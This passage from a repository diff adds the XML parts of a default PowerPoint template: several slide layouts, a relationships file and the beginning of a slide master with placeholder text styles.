idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="7" name="Slide Number Placeholder 6"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="titleOnly" preserve="1"><p:cSld name="Title Only"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Date Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Footer Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Slide Number Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="blank" preserve="1"><p:cSld name="Blank"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Date Placeholder 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Footer Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Slide Number Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="objTx" preserve="1"><p:cSld name="Content with Caption"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="273050"/><a:ext cx="3008313" cy="1162050"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="b"/><a:lstStyle><a:lvl1pPr algn="l"><a:defRPr sz="2000" b="1"/></a:lvl1pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Content Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="3575050" y="273050"/><a:ext cx="5111750" cy="5853113"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr><a:defRPr sz="3200"/></a:lvl1pPr><a:lvl2pPr><a:defRPr sz="2800"/></a:lvl2pPr><a:lvl3pPr><a:defRPr sz="2400"/></a:lvl3pPr><a:lvl4pPr><a:defRPr sz="2000"/></a:lvl4pPr><a:lvl5pPr><a:defRPr sz="2000"/></a:lvl5pPr><a:lvl6pPr><a:defRPr sz="2000"/></a:lvl6pPr><a:lvl7pPr><a:defRPr sz="2000"/></a:lvl7pPr><a:lvl8pPr><a:defRPr sz="2000"/></a:lvl8pPr><a:lvl9pPr><a:defRPr sz="2000"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Text Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" sz="half" idx="2"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="1435100"/><a:ext cx="3008313" cy="4691063"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="1400"/></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="1200"/></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="1000"/></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Date Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Footer Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="7" name="Slide Number Placeholder 6"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="picTx" preserve="1"><p:cSld name="Picture with Caption"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1792288" y="4800600"/><a:ext cx="5486400" cy="566738"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="b"/><a:lstStyle><a:lvl1pPr algn="l"><a:defRPr sz="2000" b="1"/></a:lvl1pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Picture Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="pic" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1792288" y="612775"/><a:ext cx="5486400" cy="4114800"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="3200"/></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="2800"/></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="2400"/></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl9pPr></a:lstStyle><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Text Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" sz="half" idx="2"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1792288" y="5367338"/><a:ext cx="5486400" cy="804862"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="1400"/></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="1200"/></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="1000"/></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Date Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Footer Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="7" name="Slide Number Placeholder 6"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout8.xml" />
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout3.xml" />
<Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout7.xml" />
<Relationship Id="rId12" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="../theme/theme1.xml" />
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout2.xml" />
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml" />
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout6.xml" />
<Relationship Id="rId11" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout11.xml" />
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout5.xml" />
<Relationship Id="rId10" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout10.xml" />
<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout4.xml" />
<Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout9.xml" />
</Relationships>
@@ -0,0 +1,505 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldMaster xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:cSld>
<p:bg>
<p:bgRef idx="1001">
<a:schemeClr val="bg1" />
</p:bgRef>
</p:bg>
<p:spTree>
<p:nvGrpSpPr>
<p:cNvPr id="1" name="" />
<p:cNvGrpSpPr />
<p:nvPr />
</p:nvGrpSpPr>
<p:grpSpPr>
<a:xfrm>
<a:off x="0" y="0" />
<a:ext cx="0" cy="0" />
<a:chOff x="0" y="0" />
<a:chExt cx="0" cy="0" />
</a:xfrm>
</p:grpSpPr>
<p:sp>
<p:nvSpPr>
<p:cNvPr id="2" name="Title Placeholder 1" />
<p:cNvSpPr>
<a:spLocks noGrp="1" />
</p:cNvSpPr>
<p:nvPr>
<p:ph type="title" />
</p:nvPr>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="457200" y="274638" />
<a:ext cx="8229600" cy="1143000" />
</a:xfrm>
<a:prstGeom prst="rect">
<a:avLst />
</a:prstGeom>
</p:spPr>
<p:txBody>
<a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0" anchor="ctr">
<a:normAutofit />
</a:bodyPr>
<a:lstStyle />
<a:p>
<a:r>
<a:rPr lang="en-US" smtClean="0" />
<a:t>Click to edit Master title style</a:t>
</a:r>
<a:endParaRPr lang="en-US" />
</a:p>
</p:txBody>
</p:sp>
<p:sp>
<p:nvSpPr>
<p:cNvPr id="3" name="Text Placeholder 2" />
<p:cNvSpPr>
<a:spLocks noGrp="1" />
</p:cNvSpPr>
<p:nvPr>
<p:ph type="body" idx="1" />
</p:nvPr>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="457200" y="1600200" />
<a:ext cx="8229600" cy="4525963" />
</a:xfrm>
<a:prstGeom prst="rect">
<a:avLst />
</a:prstGeom>
</p:spPr>
<p:txBody>
<a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0">
<a:normAutofit />
</a:bodyPr>
<a:lstStyle />
<a:p>
<a:pPr lvl="0" />
<a:r>
<a:rPr lang="en-US" smtClean="0" />
<a:t>Click to edit Master text styles</a:t>
</a:r>
</a:p>
<a:p>
<a:pPr lvl="1" />
<a:r>
<a:rPr lang="en-US" smtClean="0" />
<a:t>Second level</a:t>
</a:r>
</a:p>
<a:p>
<a:pPr lvl="2" />
<a:r>
<a:rPr lang="en-US" smtClean="0" />
<a:t>Third level</a:t>
</a:r>
</a:p>
<a:p>
<a:pPr lvl="3" />
<a:r>
<a:rPr lang="en-US" smtClean="0" />
<a:t>Fourth level</a:t>
</a:r>
</a:p>
<a:p>
<a:pPr lvl="4" />
<a:r>
<a:rPr lang="en-US" smtClean="0" />
<a:t>Fifth level</a:t>
</a:r>
<a:endParaRPr lang="en-US" />
</a:p>
</p:txBody>
</p:sp>
<p:sp>
<p:nvSpPr>
<p:cNvPr id="4" name="Date Placeholder 3" />
<p:cNvSpPr>
<a:spLocks noGrp="1" />
</p:cNvSpPr>
<p:nvPr>
<p:ph type="dt" sz="half" idx="2" />
</p:nvPr>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="457200" y="6356350" />
<a:ext cx="2133600" cy="365125" />
</a:xfrm>
<a:prstGeom prst="rect">
<a:avLst />
</a:prstGeom>
</p:spPr>
<p:txBody>
<a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0" anchor="ctr" />
<a:lstStyle>
<a:lvl1pPr algn="l">
<a:defRPr sz="1200">
<a:solidFill>
<a:schemeClr val="tx1">
<a:tint val="75000" />
</a:schemeClr>
</a:solidFill>
</a:defRPr>
</a:lvl1pPr>
</a:lstStyle>
<a:p>
<a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut">
<a:rPr lang="en-US" smtClean="0" />
<a:pPr />
<a:t>10/16/2014</a:t>
</a:fld>
<a:endParaRPr lang="en-US" />
</a:p>
</p:txBody>
</p:sp>
<p:sp>
<p:nvSpPr>
<p:cNvPr id="5" name="Footer Placeholder 4" />
<p:cNvSpPr>
<a:spLocks noGrp="1" />
</p:cNvSpPr>
<p:nvPr>
<p:ph type="ftr" sz="quarter" idx="3" />
</p:nvPr>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="3124200" y="6356350" />
<a:ext cx="2895600" cy="365125" />
</a:xfrm>
<a:prstGeom prst="rect">
<a:avLst />
</a:prstGeom>
</p:spPr>
<p:txBody>
<a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0" anchor="ctr" />
<a:lstStyle>
<a:lvl1pPr algn="ctr">
<a:defRPr sz="1200">
<a:solidFill>
<a:schemeClr val="tx1">
<a:tint val="75000" />
</a:schemeClr>
</a:solidFill>
</a:defRPr>
</a:lvl1pPr>
</a:lstStyle>
<a:p>
<a:endParaRPr lang="en-US" />
</a:p>
</p:txBody>
</p:sp>
<p:sp>
<p:nvSpPr>
<p:cNvPr id="6" name="Slide Number Placeholder 5" />
<p:cNvSpPr>
<a:spLocks noGrp="1" />
</p:cNvSpPr>
<p:nvPr>
<p:ph type="sldNum" sz="quarter" idx="4" />
</p:nvPr>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="6553200" y="6356350" />
<a:ext cx="2133600" cy="365125" />
</a:xfrm>
<a:prstGeom prst="rect">
<a:avLst />
</a:prstGeom>
</p:spPr>
<p:txBody>
<a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0" anchor="ctr" />
<a:lstStyle>
<a:lvl1pPr algn="r">
<a:defRPr sz="1200">
<a:solidFill>
<a:schemeClr val="tx1">
<a:tint val="75000" />
</a:schemeClr>
</a:solidFill>
</a:defRPr>
</a:lvl1pPr>
</a:lstStyle>
<a:p>
<a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum">
<a:rPr lang="en-US" smtClean="0" />
<a:pPr />
<a:t>#</a:t>
</a:fld>
<a:endParaRPr lang="en-US" />
</a:p>
</p:txBody>
</p:sp>
</p:spTree>
</p:cSld>
<p:clrMap bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink" />
<p:sldLayoutIdLst>
<p:sldLayoutId id="2147483649" r:id="rId1" />
<p:sldLayoutId id="2147483650" r:id="rId2" />
<p:sldLayoutId id="2147483651" r:id="rId3" />
<p:sldLayoutId id="2147483652" r:id="rId4" />
<p:sldLayoutId id="2147483653" r:id="rId5" />
<p:sldLayoutId id="2147483654" r:id="rId6" />
<p:sldLayoutId id="2147483655" r:id="rId7" />
<p:sldLayoutId id="2147483656" r:id="rId8" />
<p:sldLayoutId id="2147483657" r:id="rId9" />
<p:sldLayoutId id="2147483658" r:id="rId10" />
<p:sldLayoutId id="2147483659" r:id="rId11" />
</p:sldLayoutIdLst>
<p:txStyles>
<p:titleStyle>
<a:lvl1pPr algn="ctr" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="0" />
</a:spcBef>
<a:buNone />
<a:defRPr sz="4400" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mj-lt" />
<a:ea typeface="+mj-ea" />
<a:cs typeface="+mj-cs" />
</a:defRPr>
</a:lvl1pPr>
</p:titleStyle>
<p:bodyStyle>
<a:lvl1pPr marL="342900" indent="-342900" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="20000" />
</a:spcBef>
<a:buFont typeface="Arial" pitchFamily="34" charset="0" />
<a:buChar char="•" />
<a:defRPr sz="3200" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl1pPr>
<a:lvl2pPr marL="742950" indent="-285750" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="20000" />
</a:spcBef>
<a:buFont typeface="Arial" pitchFamily="34" charset="0" />
<a:buChar char="" />
<a:defRPr sz="2800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl2pPr>
<a:lvl3pPr marL="1143000" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="20000" />
</a:spcBef>
<a:buFont typeface="Arial" pitchFamily="34" charset="0" />
<a:buChar char="•" />
<a:defRPr sz="2400" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl3pPr>
<a:lvl4pPr marL="1600200" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="20000" />
</a:spcBef>
<a:buFont typeface="Arial" pitchFamily="34" charset="0" />
<a:buChar char="" />
<a:defRPr sz="2000" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl4pPr>
